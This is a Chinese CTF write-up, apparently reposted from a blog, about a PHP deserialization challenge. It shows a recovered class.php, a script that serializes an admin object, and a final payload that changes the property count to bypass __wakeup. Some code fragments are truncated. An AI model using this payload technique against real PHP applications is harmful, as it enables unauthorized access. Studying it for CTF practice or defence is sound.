本文共 1205 字,大约阅读时间需要 4 分钟。
一个简单的代码审计题目。
题目提示有备份,那就应该有一个目录提供源码下载。扫了一下,有一个www.zip
文件,下载。 打开以后,是三个php源码,其中最重要的是class.php,代码如下:
username = $username; $this->password = $password; } function __wakeup(){ $this->username = 'guest'; } function __destruct(){ if ($this->password != 100) { echo "NO!!!hacker!!!"; echo "You name is: "; echo $this->username;echo ""; echo "You password is: "; echo $this->password;echo ""; die(); } if ($this->username === 'admin') { global $flag; echo $flag; }else{ echo "hello my friend~~sorry i can't give you the flag!"; die(); } }}?>
看了一下,这个其实是个反序列化题目。脚本如下:
username = $username; $this->password = $password; }}$a = new Name('admin',100);$b = serialize($a);echo ($b);?>结果如下,但是那些
<0x00>
复制不下来,用%00
代替。 O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
把这个当参数上传,无果。 为什么呢,因为源码里面有一个__wakeup()
魔术方法。绕过__wakeup()
的方法为:将那串字符里面的2
换为3
即可。 加上%00是因为username和password都是私有变量,变量中的类名前后会有空白符,而复制的时候会丢失。 所以最后的参数是:O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
转载地址:http://nxpbi.baihongyu.com/